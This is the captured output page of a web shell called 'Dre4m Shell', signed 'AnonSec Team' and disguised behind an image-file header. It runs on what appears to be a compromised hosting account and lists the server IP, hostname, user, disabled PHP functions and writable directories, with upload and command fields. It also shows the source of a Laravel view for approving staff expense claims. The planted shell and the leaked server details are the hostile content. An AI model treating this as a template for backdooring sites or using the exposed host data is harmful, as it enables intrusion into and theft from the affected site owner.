ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.15.206.184
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/StaffClaim/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/StaffClaim/claimReview.blade.php
@extends('layouts.layout')

@section('pageTitle')
Department Head Claim Approval
@endsection

@section('content')

  <div id="showModal" class="modal fade">
      <div class="modal-dialog box box-default" role="document">
        <div class="modal-content">
          <div class="modal-header">
            <h4 class="modal-title">Show Details</h4>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <form class="form-horizontal" id="showDetailsModal" name="showDetailsModal"
                  role="form" method="POST">
                  {{ csrf_field() }}
           <div class="modal-body">  
              <div class="form-group" style="max-height: 400px; overflow-y: auto; margin: 0 10px;">
                  <span id="showDetails"></span>
              </div>
              <div class="modal-footer">
                  <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
              </div>
              </div>
              </form>
          </div>
      </div>
  </div>

<div class="box-body">
    <div class="box box-default">
    <div class="box-body box-profile">
    <div class="box-body">
    <div class="row">
      <div class="col-sm-12">
        @include('Share.message')
        <h4 class="noprint">Department Head Claim Approval</h4>
        <div class="noprint box-body">
          <div class="col-md-12">
          <div class="col-md-2">
            <label class="control-label">Select Status</label>
            <select class="form-control" id="chooseStatus" name="chooseStatus">
              <option value="" disabled>Select</option>
              @foreach($statuses as $status => $value)
                <option value="{{$value}}" {{$theStatus==$value? "selected":""}}>{{$status}}</option>
              @endforeach
            </select>
          </div>
          </div>
          <div class="table-responsive" style="font-size: 12px; padding:10px;">
            <table id="mytable" class="table table-bordered table-striped table-highlight" >
                <col width="50">
                <col width="300">
                <col width="600">
                <col width="100">
                <col width="200">
                <col width="100">
                <col width="100">
                <col width="100">
            <thead>
            <tr bgcolor="#c7c7c7">
                <th width="1%">S/N</th>	 
                <th >Title</th>
                <th >Details</th>
                <th >Amount (₦)</th>
                <th >Applicant</th>
                <th >Status</th>
                <th >Accept</th>
                <th >Decline</th>
            </tr>
            </thead>
            @php $i=1;@endphp
            @forelse($claims as $list)
	            <tr>
	            <td>{{$i++}}</td>
	            <td>{{$list->title}}</td>
	            @php
	            $words = $list->details;
	            $thewords = str_replace("'","",$list->details);
	            $bigwords= trim(preg_replace('/\s\s+/', ' ', $thewords));
	              if(strlen($words)>100)
	                $words = substr($words,0,100).'...';
	            @endphp
	             <td>{{$words}} <object align="right"><a onclick="showfunc('{{$bigwords}}')" class="btn btn-info btn-xs">Details</a></object></td>
	            <td> {{$list->amount}} </td> 
	            <td>{{$list->name}}</td>
	            <td width="90">
	            @if($list->status == 0)
	            	<span class="text-info">Pending</span>
	            @elseif($list->status == 1)
	           	<span class="text-success"> Accepted </span>
	            @else ($list->status == 2)
	           	<span class="text-danger">Denied</span>
	            @endif
	            &nbsp; <a class="btn btn-default btn-xs text-right" data-toggle="modal" data-target="#moreComment{{$list->ID}}"><i class="fa fa-comment"></i></a>
	            </td>
	
	            @if($list->status == 1)
	           	<td><a  class="btn btn-success btn-sm" disabled>Accepted</a></td>
	            	<td></td>
	            @elseif($list->status == 2 )
	           	<td></td>
	            	<td><a class="btn btn-danger btn-sm" disabled>Denied</a></td>
	            @else
	            	<td>
	            	   <span id="getApprove{{$list->ID}}">
	            		<button class="btn btn-success btn-sm" data-toggle="modal" data-target="#approveModal{{$list->ID}}"> Accept </a>
	            	   </span>
	            	</td>
	            	  
	            	<td>
	            	  <span id="getDenied{{$list->ID}}">
	            	     <button type="button" class="addComment btn btn-warning btn-sm" data-toggle="modal" data-target="#addComment{{$list->ID}}">Deny</button>
	            	  </span>
	               </td>
	            @endif 
	            </tr>
	            
	            <!--DENY CLAIM-->
	      	   	<div class="modal fade" id="addComment{{$list->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
			  <div class="modal-dialog" role="document">
			    <div class="modal-content">
			      <div class="modal-header">
			        <h5 class="modal-title text-warning" id="exampleModalLabel"><b>DENY CLAIM</b></h5>
			        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
			          <span aria-hidden="true">&times;</span>
			        </button>
			      </div>
			      <div class="modal-body">
			      	<div class="row">
			      	     <div class="col-xs-12 text-danger text-center">
			      	      	   <h4><b>Are you sure you want to reject this claim?</b></h4> 
			      	      	   <hr />
			             </div> 
				</div>
			      	 <div class="row">
			      	     <div class="col-xs-12">
			      	      	     <lable for="rejectionComment">Enter reason for rejecting this claim below (Optional):</lable>
			      	      	     <textarea class="form-control" name="rejectionComment" id="commentValue{{$list->ID}}"></textarea>
			             </div> 
				</div>
				
			      </div>
			      <div class="modal-footer">
			        <button type="button" class="btn btn-secondary" data-dismiss="modal">No. Cancel</button>
			        <button type="button" id="{{$list->ID}}" class="rejectNow btn btn-warning">Yes. Reject</button>
			      </div>
			    </div>
			  </div>
			</div>
      	      <!--//END DENY-->
      	      
      	      <!--APPROVE CLAIM-->
	      	   	<div class="modal fade" id="approveModal{{$list->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
			  <div class="modal-dialog" role="document">
			    <div class="modal-content">
			      <div class="modal-header">
			        <h5 class="modal-title text-info" id="exampleModalLabel"><b>APPROVE CLAIM</b></h5>
			        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
			          <span aria-hidden="true">&times;</span>
			        </button>
			      </div>
			      <div class="modal-body">
			      	<div class="row">
			      	     <div class="col-xs-12 text-success text-center">
			      	      	   <h4><b>Are you sure you want to accept this claim?</b></h4> 
			      	      	   <hr />
			             </div> 
				</div>
			      	 <div class="row">
			      	     <div class="col-xs-12">
			      	      	     <lable for="approveComment">Enter reason for accepting this claim below (Optional):</lable>
			      	      	     <textarea class="form-control" name="approveComment" id="approveComment{{$list->ID}}"></textarea>
			             </div> 
				</div>
				
			      </div>
			      <div class="modal-footer">
			        <button type="button" class="approveCancelBtn btn btn-default" data-dismiss="modal">No. Cancel</button>
			        <button type="button" id="{{$list->ID}}" class="approveNowBtn btn btn-success">Yes. Accept</button>
			      </div>
			    </div>
			  </div>
			</div>
      	      <!--//END APPROVE Claim-->
      	      
      	      <!--More Comment-->
	      	   	<div class="modal fade" id="moreComment{{$list->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
			  <div class="modal-dialog" role="document">
			    <div class="modal-content">
			      <div class="modal-header">
			        <h5 class="modal-title text-info" id="exampleModalLabel"><b>Add more comment</b></h5>
			        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
			          <span aria-hidden="true">&times;</span>
			        </button>
			      </div>
			      <div class="modal-body">
			      
			      	  <div>
			      	  	<div class="row">
				      	     	 @php 
					      	     $getRelatedComment = DB::table('claim_comment')
					      	     ->leftJoin('users', 'users.id', '=', 'claim_comment.userID')
					      	     ->where('claim_comment.claimID', $list->ID)
					      	     //->where('claim_comment.office', 'HOD')
					      	     //->orwhere('claim_comment.office', 'ES')
					      	     ->orderBy('claim_comment.id', 'Desc')->get();
					      	      $commentKey =1;
					      	 @endphp
					      	      
					      	<div class="col-xs-12" style="max-height: 200px; overflow-y: auto;">
					      		<span id="printComment{{$list->ID}}" class="text-left text-success"></span>
					      	  	@forelse($getRelatedComment as $listComment)
					           	 <div align="left">
					           	   	<h5>
					           	   		{{ $commentKey++ }} &nbsp; {{ $listComment->name .' ('.$listComment->office .') '. ' - ' .$listComment->comment }}
					           	   		<br />
					           	   		<small>Date: <i class="text-info"> {{ $listComment->created_at }} </i></small>
					           	   	</h5>
					           	    	   
					           	    	<hr style="margin: 1px 0px; solid #000!important; " />
					           	 </div>
					          	@empty
					           	 <div class="col-xs-12 text-danger" align="center"> No comment found! </div>
					          	@endforelse
				           	<div>

				   	</div>
				   </div>
				   <div class="col-xs-12">
			      	      <lable for="moreComment"><b>Add Comment:</b></lable>
			      	      <textarea class="form-control" name="moreComment" id="moreCommentText{{$list->ID}}" require></textarea>
			      	   </div>

			      </div>
			      <div class="modal-footer">
			        <button type="button" class="approveCancelBtn btn btn-default" data-dismiss="modal">Cancel</button>
			        <button type="button" id="{{$list->ID}}" class="moreCommentBtn btn btn-success">Send Comment</button>
			      </div>
			    </div>
			  </div>
			</div>
      	      <!--//end More Comment-->
      	      
            @empty
            	<tr>
            		<td colspan="7"></td>
            	</tr>
            @endforelse            
             </table>
        </div>
  
        </div>
      </div>
      
    
    </div>
   
   
</div>
</div>
</div>

<form id="getStatus" method="post" action="{{route('selectStatus')}}">
  {{ csrf_field() }}
    <input type="hidden" id="choosenStatus" name="choosenStatus" />
    
</form>
  @endsection

@section('styles')
 <style>
   #showLabel
    {
        margin-bottom: 10px;
      text-align: left;
    }

 #subButton
 {
   margin-top:25px;	
 }

 .modal-dialog
 {
  
   width: 400px
 }
 </style> 
@endsection

@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
<script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/1.10.16/js/dataTables.bootstrap.min.js"></script>
<script>
  
  
    function showfunc(x)
    {
        $("#showDetails").text(x);
        $("#showModal").modal('show');
    }

    $('#chooseStatus').change(function()
    {
      $('#choosenStatus').val($('#chooseStatus').val());
      
      $('#getStatus').submit();	
    });
    
    $(document).ready(function() {
    	$('#mytable').DataTable();
    } );

    

     /* AJAX call for Deny or Rejection*/
   	$(document).ready(function(){
            $('.addComment').click(function(e){
            	var claimID= $(this).attr('id');
             	$('#addComment' + claimID).modal({
        		show: 'true'
    		});
    		false;
            });
      	   ///
            $('.rejectNow ').click(function(e){
            	var claimID = $(this).attr('id');
            	var getComment = $('#commentValue' + claimID).val();
    	        //
                 $('#rejectNow' + claimID).attr("disabled", "true");
                 $.ajax({
                    url: '{{ url("/claim-comment-for-rejection") }}',
                    method: 'post',
                    data: {
                       'claimID' : claimID,
                       'office' : 'HOD',
                       'claimComment' : getComment ,
                       '_token': $('input[name=_token]').val()
                    },
                    success: function(response){
                    	$('#getDenied' + claimID ).html('<a class="btn btn-danger btn-sm" disabled>Denied</a>');
                    	$('#getApprove' + claimID ).html('');
                    	alert( response );
                    	$('#commentValue' + claimID).val('');
              		//$('#rejectNow' + claimID).removeAttr('disabled');
                    	//$("#addComment" + claimID).modal("hide");
                    	//location.reload(); 
                    },
                    error: function (jqXHR, status, err) {
                    	alert(err + '. Sorry, an error occurred! Refresh this page and try again.' );
                    	$('#rejectNow' + claimID).removeAttr('disabled');
                    	$("#addComment" + claimID).modal("hide");
                        
                    }
                  });
            });
            
            //Approval
            $('.approveNowBtn').click(function(e){
            	var getClaimID = $(this).attr('id');
            	var getComment = $('#approveComment' + getClaimID).val();
            	var moreComment = $('#moreComment' + getClaimID).val();
    	        //
                 $('.approveNowBtn').attr("disabled", "true");
                 $('.approveCancelBtn ').attr("disabled", "true");
                 $.ajax({
                    url: '{{ url("/approve-staff-claim") }}',
                    method: 'post',
                    data: {
                       'claimID' : getClaimID ,
                       'office' : 'HOD',
                       'getComment' : getComment,
                       '_token': $('input[name=_token]').val()
                    },
                    success: function(response){
                        alert( response );
                    	$('#getDenied' + getClaimID ).html('');
                    	$('#getApprove' + getClaimID ).html('<a  class="btn btn-success btn-sm" disabled>Accepted</a>');
                    	$('.approveNowBtn').removeAttr("disabled");
                    	$('.approveCancelBtn ').removeAttr("disabled");
                    	$('#approveComment' + getClaimID ).val('');
                    	//$('#approveModal' + getClaimID ).hide();
                    	
                    	//location.reload(); 
                    },
                    error: function (jqXHR, status, err) {
                    	alert(err + '. Sorry, an error occurred! Refresh this page and try again.' );
                    	$('#rejectNow' + getClaimID ).removeAttr('disabled');
                    	$("#addComment" + getClaimID ).modal("hide");
                        
                    }
                  });
            });
            //end approval
            
            
            //More Comment
             $('.moreCommentBtn').click(function(e){
            	var getClaimID = $(this).attr('id');
            	var moreCommentText = $('#moreCommentText' + getClaimID).val();
            	if($.trim(moreCommentText)===""){
            		alert('Sorry, we cannot post empty comment !');
            		return false;
            	}
            	$('.moreCommentBtn ').attr("disabled", "true");
    	        //
                 $.ajax({
                    url: '{{ url("/add-more-comment-claim") }}',
                    method: 'post',
                    data: {
                       'claimID' : getClaimID,
                       'office' : 'HOD',
                       'moreComment' : moreCommentText,
                       '_token': $('input[name=_token]').val()
                    },
                    success: function(response){
                    	$('.moreCommentBtn ').removeAttr("disabled");
                        $('#printComment' + getClaimID ).html( '<span class="text-danger">*</span> ' + moreCommentText + '<br /><hr style="margin: 1px 0px; solid #000!important; " />'); 
                        alert( response );
                        $('#moreCommentText' + getClaimID).val('');
                    	
                    },
                    error: function (jqXHR, status, err) {
                    	alert(err + '. Sorry, an error occurred! Refresh this page and try again.');
                        
                    }
                  });
            });
            //More Comment
       });
      //end document ready
       
</script>

@endsection

 



Anon7 - 2022
AnonSec Team